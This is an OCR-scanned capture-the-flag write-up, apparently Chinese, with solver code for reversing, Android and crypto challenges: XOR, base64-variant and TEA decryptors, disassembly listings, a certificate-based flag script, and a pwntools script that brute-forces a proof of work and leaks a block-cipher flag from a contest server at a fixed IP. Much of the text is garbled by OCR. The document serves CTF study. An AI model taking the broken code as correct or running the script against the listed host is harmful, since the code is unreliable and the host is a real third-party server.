1] sub_454848("nono, may be.... ", a2, v2, v4);
7| return result;

i3}

1js1gned _ 1ntb4 _ Tastcall sub_481DE/(_ 1nth4 al)

21
3| __inte4 w2; f/ [rsp-8h] [rbp-8h]

4
5 __asm { endbred }

b6 *(&v2 - 3) = al;
7 for [ F(&2 - 1) = @; *(&2 - 1) <= 41; +HF (&2 - 1) )
8

boo AF ( F(*(&02 - 1) + *(&Bv2 - 3)) I= dword_4C@108[*(&v2 - 1)] )

b 18 return @LL;
11

b 12| return 1LL;

b 13}

DWORD *sub_481D95()

_DWORD *result; // rax
__int64 vl; // [rsp-8h] [rbp-8h]

1
2
3
1
5
5 __asm { endbr&4 }

70 for { *(&I - 1) = 8; *(&1 - 1) <= 41; ++*(&1 - 1) )
3

E]

3

1

2

3

result = dword_4C6160;
dword_4ceiee[* (&1 - 1)] *= xi7u;
1

return result;

b

BERSRIT T, —WmBRE, it 78



A = @
#include "stdafx.h"

unsigned int map[]={17,283,534,784,1036,1350,16084,18089,
2116,2370,2625,2881,3148,3418,3650,3911,
4118 ,4419,4698 ,4931,5184,5440,5653 ,5978,
6213 ,6464,6735,6933,7258,7445,7744,80056,
8262 ,8519,8773,9625,9233,9489,9792 ,100806,
10259,16566,2048,0, 43605432,0,4991168,0};

int main{int argc, char= argu[])}
{
int i=08;
for{i=0;i<82;i++){
map[i]”~=8x17;
¥
For{i=0;i<{255;i++){
for{int j=0;j<a2;j++){
printf("%c",{(char)map[j])~i);
¥
printf{"s\n"});
if{i%18==08){
getchar();

e
e
getchar();
return B;

L AN il i _ZC

VS KDAYY?

?1
Y*~[B
f lag{13f35663-50a4—477h—278b—h711026f f7ad>
gm* F=02g24772 ,41°5,.566c,.36%9c . chBB13 7996 " |
dncey31d17441./72c6-/655"/B5: " »*533204dd5cfa
eohdx2@e@655A.63b07Y.744a.145a.a422315ee4bhg™
hhecaS?h71227)14e@2833F£363<F>F355462hh3e "y

flagA:

flag{13f35663-50a4-477b-278b-b711026ff7ad}

R BRIEIR LR frfath, REBRHEIEER, EIDAFS



a18r1268 888C82
818F1282
B18F 1204
B18F12E
B18F12E
B18F12E
B18F12E
B18F12E
B18F12E
B18F12E
B18F12E
B18F12E
B18F12E
B18F12E
818F121
818F121
818F121
818F121
818F121
818F121
818F121
8168F121
8168F121
8168F121
8168F121
8168F121
B18F121C
818F121D
818F121E
818F121F
816F1220
B18F1221

1= LUK ¥1e " | =] L meuuruL

=2

| L|=| [ =eudacad -

I 5| SLFILEZE WIIC™"

| L nex wiec

e e i R

I | STructucc

I (=

lint _ cdecl sub 48112@8(char

2

3| int result; // eax

4| dint va4; // [esp+l4h] [ebp-4@h]

5

6 memset(&v4, @xCCu, @xddu);

7 =3[4 * (a2 / 3)] = byte 485@1B[(4 * (al
8 a3[4 * (a2 / 3) + 1] = byte_4@5018[(4 *
o =3[4 * (a2 / 3) + 2] = byte 4@S@18[(4 *
18| result = a2 / 3;

11 az[4 * (a2 / 3) + 3] =

12

T, baseEX, WS EER K

*al, int a2, dhar

*a3)

] & axCae) »» 2];

+ 1
2+ 2] & exCe) »» 2];

byte 485818[(a1[a2 + 2] & @xC | 4 * =1[a2 + 1] & @x38 | 16 * =1[a2] & exte) »> 2];



res[4 * {count / 3)] = map[{(% * {input[count + 2] & 3) | input[count + 1] & Bx38 | input[count] & 8xCA) >> 2];

res[4 * {count / 3) + 1] = map[{%4 = (input[count] & 3) | input[count + 2] & 8x38 | input[count + 1] & @xCA) >> 2];
res[4 * {count / 3) + 2] = map[{4 = (input[count + 1] & 3) | input[count] & Bx38 | input[count + 2] & @xCA) >> 2];
res[4 * {count / 3) + 3] = map[(input[count + 2] & BxC | 4 = input[count + 1] & 6x38 | 16 = input[count] & B8xCA) >> 2];

B DAVCE.0 SRS\ MyProjects\123123214\Debug\123123214 exe
.nt main{int argc, char= argu[])

fla g{5 aB? 372 4-8 223 —-41 3d- 11f a—d 53b 133 df8 %e> %E}

int t=0,jump=8;
char input[]="1234567812345678123456781234567832
char out[288]={8};
int a=2@,b=28,c=20;
for{int i=@;t<{sizeof({cmp);i=i+3,t+=4){
jump=8,a=208,b=208,c=28;
while({a<255)¢
at+;
b=8;
c=8;
while(b<255){
b++;
c=8;
while{c<255)¢
C++;
input[i]=a;input[i+1]=b;input[i+2]=c;
test{input,i,out);
if(cmp[t]==out[t]&&cmp[t+1]==out[t+1]ake
printf (""%cRc¥cie”,a,b,c);
LY

flag:

flag{5a073724-8223-413d-11fa-d53b133df89e}

NIFF 6 EBIXE, BFF TREZA0x100E%ZRC4, MBEE) (BT H7T) MEIMR, RERKLEBE, FHRSWEIE BB W
THErRRRE, KMXE—HEHRE, WHAERELEZRNORTE, RERR. . . .

B0416DF 6 8355 F4

B60416DF9 BFBG6 B2

80416DFC 8B4D EC

80416DFF 33848D ECFBFFF

00416E 86 8B55 18

00416E 09 8355 F4

86416E BC 8862

86416E BE 8B45 F4u

ae816E11 83ce o

B0416E14| 8945 F4

BB416E17|” E9 4DFFFFFF j 00416D69
B8416E1C 8BES B
88416E1E 5D

B8416E1F C3

ss:[F7D8F12C]=%%7

eax=008000631

RN TTIO EN HE EE F EH DEfEeoEsEe=E S 5|00 e|0/fH D B/an|
68 906F4100 00416F 90 - R
80417 888 BTG Bx1

604170BA|  FF15 68864100 |gald duword ptr[<ERERHELS2 Rd@Uectoredbicejitiondf ntdll_15iRtlRddUectoredExcepiioniang
go4170Cc0| 5D ebp

oes176c1 | E3

FREI00416FO0 ¥, EMAMAFBERIAR (RIEBMMEIFKOD, fhiitRKflwindogz KK , RELEBAEE, FidZ
B, REEEBL R TEFFRENRA, RUT TEEERZMIZNMEG.



sub

call a84171EA
ELi} r [esp], B=5

mou r [esp+Bx18], edx
mou r [esp+Bx8], ecx
dec

arpl [esp+Bx8], ax
dec

lea rd ptr [8x922D]
mou rd ptr [esp+Bx10]
mou F [ecx+eax*4], edx
nop

nop

nop

Retfi4 83, Be4csH eI, McsH 7748 23 MM RARAI2MIC AR, IIMIMS 5 64T HtE, Bt LA M HIVC S
RIGRBANMLH), windbgFi LIt AREIR KR (RIBRRIEE, FEERE) BARAN64MIC HfcalRBEEEAL, HtHCE
EERILHRG, BNHEE, WTE, e REcl, S —BRiEai, KilRtealik

AU - 1! T I FH LF
1811’ = GatelC int 3
Jell’ = Gate 83 EC 18 sub ezp, 18 24
Jell’ = Gatef4 33 push 33 51
Jell’ = GateER 00000000 call “Hell = Gate.exe"+1T71I->Hell’ = Gate.
Jell’ = Gate 83 04 24 05 add dword ptr [r=pl, 05 5
Jell’ = GatelB ret
11" = i3z 54 24 10
Jell’ = Gate&8 24 08 nov [r=p+0E8], ecx
Jell’ = Gated® A3 44 24 08 movsxd rax, dword ptr [rsp
Jell’ = Gated8 ED 0D 20920000 lea rcx, [“Hell = Gate. exe’ [00000000]
Jell’ = Gate8E 54 24 10 nov edx, [r=p+10]
Jell’ = GateS3 14 &1 mnov [rex+rax*d], edx
Jell’ = Gate 90 nop
e e N e e e e e .,

®xor ecx, BCX
call 868417300
moy
ELili]
moy
call 08417300
®xoF
moy
call 08417370
moy
moy
call 08417370

Xor

Xor

call 004171B0

Xor

moy

call 00417370

mouy

[j mp| short 00417604
mow

add



| (Globals) || A global members -] ¢ debug

#include “stdafx.h”
void debug{unsigned int =v,unsigned int =t) B DAVCE.0 TEESIR\MyProjects\32112312321\Debugh3:
unsigned int y==vu, z==t, sum=8, i;
unsigned int gelta=BxBS?93?9E; Bf 4d8dh3668dd58cabb?eh4B87657eaad
for (i=8; i < 16; i++)sum += delta;
for (i=0; i < 16; i++) {
z -= ((y<<b) + Ox13243546) © (y + sum) ~ ((y>>5) + OxX64534231);
Y —= ((2<<8) + Bx12345678) " (z + sum) © ((z¥>5) + Bx87654321);

e

-

sum -= delta;
H
=y,
*t=z;
H
int main{int argc, char= argv[])
{

unsigned int map[]={
822c94650b, Bx784%4e%e, BxeFfacfid, Bx48F9dbfb, Bx547bb145, 0x925d2542, Ox6%9a9fhch, O0x9a%6a1d8};
For{int i=0;i<{u;i++){
debug(&nap[2*i],&map[2*i+1]);
¥
For(int j=8;j<32;j++){
printf("%c”,*(char*)({int)&map+j)};

L

¥ LT 1 |ﬁ| LF % ¥atcnL 4 wat

#IW m~ana smeaty At

mm maknhinm rmhalin Safaamabsan faond

WHJINI

public class MainActivity extends AppCompatActivity {
EditText input;

public native String stringFromINI(String str, St

str2);

/* access modifiers changed from: protected %/
public void onCreate(Bundle bundle) {
super.onCreate(bundle) ;
setContentView( (int) R.layout.activity main);
Button button = (Button) findViewById(R.id.button);
this.input = (EditText) findviewById(R.id.imput);
button.setOnClickListener(new OnClickListener() {
public void onClick(View view) {
try {
if (MainActivity.this.input.getText().length() == 42) {

Toast makeText = Toast.makeText(MainActivity.this, MainActivity.this.stringFromINI(MainActivity.this.input.getText().toString(), new hi().getSignatures(view)), 1);
makeText.setGravity(, @, -708);

makeText. show();
return;

Toast makeText2 = Toast.makeText(MainActivity.this, "Hello!™, @);
makeText2.setGravity(e, 8, -700);
makeText2. show() ;
} catch (NameNotFoundException e} {
e.printStackTrace();
} catch (NoSuchAlgorithmException e2) {
e2.printStackTrace();

static {

em.loadLibrary("native-1ib");

String2 AT L Hlog#k 2



class hi {
private Log Log;

hi() {
1,
J

public String getSignatures(View view) throws NameNotFoundException, MNoSuchAlgorithmException {
MessageDigest.getInstance("MD5");

Signature[] signatureArr = view.getContext().getPackageManager().getPackageInfo(BuildConfig.APPLICATION_ID, 64).signatures;

if (signatureArr.length <= @) {
return "this_is_your gift!™;

}

Signature signature = signatureArr[8];

Log log = this.Log;

Log.i("hella™, signature.toCharsstring());

return signature.toCharsstring();

abldS%S

INI(_int64 al, _:




raw_sign = '308202e4308201cc020101300d06092a864886170d010105050030373116301406035504030c0d416e647261696420446562
75673110300060355040a0c07416e647261T6964310b30090603550406130255533020170d3231303330363134333034385a180132303531
303232373134333034385230373116301406035504030c0d416€64726169642044656275673110300€06035504020c07416e€647261696431]
©b300906035504061302555330820122300d06092a864886170d010101050003820101003082010a0282010100cbT2b09e4308ebb459e884
1e5a7b920497fef2b349e80648f7eb35t48d40a75e7ce7945b8b42d197becObf177e6c9899ed707dcc4a726cbl4clab9b0c4a02474806 a7,
3cfbl0el10f7b1665021c24762b6edad65cab3cea3c72e0d4edca3t98301173eec3254337af1f5a11f779ecbe@4d1b74d5315835€01122215
5a56197e00d75374cd93080dfa087cd356a99feleebf5d6d5e31846aad5252c3al7a4656e2e210celc7aa4d147fb8cf440a50add61bbb2ec
299a2e0dab®b4504796ac3a899da553ab1d83576691ab23409d18398014b3b5eaf12e8314d99aa09%elededcael33530730c1133da2b3dee3]
7b58eb1a5795b221ec5a8830731a41167d29519e1b0203010001300d06092a864886170d010105050003820101000e4740235e9cf2be33de
3e06d777139cbbc5cf0622285c17dav4697b8067318aat8dfOfbb4d3166F293eal5aa2592f06eb6929af063722ac9130ad85e2c087564931)
d6ac65fcd5fbc864b3dc9841e039c6eld5fbc5c2f8adf90a547bcdebc07d387914db24451c2cc89925359bd3bb0750c7aabf9d743b1893e9
8bbc8ff74b24fcObdbe2dbaafl1c917bbal1496d0617ffc3ada8b7a6e79a3036298a6ebf57bb00001e43a0b242864eebbOfcec9e323144d44
47c878430118e6e358ad97566fak4d1f07bl71cl1476c9af5alebaPbf6616e219cOb9e1299d09fecded24a880397192e0199d8951228c7770
c184fd77adff943bfc8b6aa524c5f0a6d7686fe35486"
enc = [OxCA, OxXEB, Ox4A, Ox8A, Ox68, OxEl, OxAl, OxEB, OxE1l, OxEE,

Ox6B, 0x84, OxA2, oxeD, 0x49, oOxC8, Ox8E, OxOE, OxCC, OxE9,

0x45, OxCF, 0x23, oxCC, oxC5, ox4C, ox0C, ox85, OxCF, OxA9,

o0x8C, OxF6, OxE6, OxD6, Ox26, Ox6D, OxAC, Ox0C, OXAC, Ox77,

OXEQ, 0x64]

for i in range(9, 42):

enc[i] = (enc[i] << 3 & o@xff) + (enc[i] >> 5 & Oxff)
flag = ""
for i in range(len(enc)):

index = 1 * 27 + 327

magic = ord(raw_sign[index]) + i

flag += chr(magic ~ enc[i])

print flag

B P SEE A5V SR KRB0 BeR) EaU ITED VS ®OMW) WEHH)
Code ) BUU ) #1.py

B v ] o 1.py
v Code raw_sign =
AWD enc = [
Bugku_Misc_where is the flag ’
> BmBUU
>l shaBEE
o NS

e IXEQ, QX641

i ( ):

enc[i] = (enc[i] << & ) + (enc[i] >> &
flag =

i (len(enc)):

o ANGEXE %
magic = (raw_sign[index]) + i
@ flag += (magic A enc[i])

(flag)

D:\Cc\Python\python.exe "D:/Cc/PyCharm 2021.1/Code/BUU/1.py"
flag{d5577edd-8211-7abe-23a-305b8b10683f}

HEREER, BHfES 0

£ Python Packages % Python 4l Q=rds
15:12 CRLF UTF-8 #2573+ Python3.9 G

flag{d5577edd-8211-7a@e-f23a-305b0b10683f}

Crypto




BlockEncrypt
R¥¥E, BEANTERME R, LRI Raes, R)EHE%
AT -



from pwn import *
import hashlib
import string

s="flag{abcdef0123456789-}"

def f(a,b):
m=[]
for i in range(10):
m.append(str(i))
for i in range(26):
m.append(chr(i+0x41))
m.append(chr(i+0x61))
for i in m:
for j in m:
for k in m:
for p in m:
t=i+j+k+p+a
if(hashlib.sha256(t.encode()).hexdigest()==b):
print("find")
return t[:4]

sh=remote("47.104.183.8","47971")
sh.recvuntil (b"X+")

a=(sh.recvuntil(b")",drop=True).decode())

sh.recvuntil(b"== ")
b=(sh.recvuntil(b"\n",drop=True).decode())
sh.send(f(a,b).encode())

sh.recv()

print(sh.recv().decode())

sh.recvuntil(b"\n",drop=True)

flag=(sh.recvuntil(b"\n[+]",drop=True))

for i in s:
m=r+i
m=m.encode()
sh.send(b'2")
sh.send(m)
sh.recv()
sh.recv()
sh.recvuntil(b"CipherText:",drop=True)
c=(sh.recvuntil(b"\n[+]",drop=True))
if(c[t]==Fflag[t]):
r=r+i
t+=1
print(r)




Tooo O@mEm B

thon 5N Interrupted functi pt fail ) 1 CRLF UTF-8 #i

ﬂagﬂﬂ:

flag{ad7e9276-del18-52b8-8clc-3db559274F2
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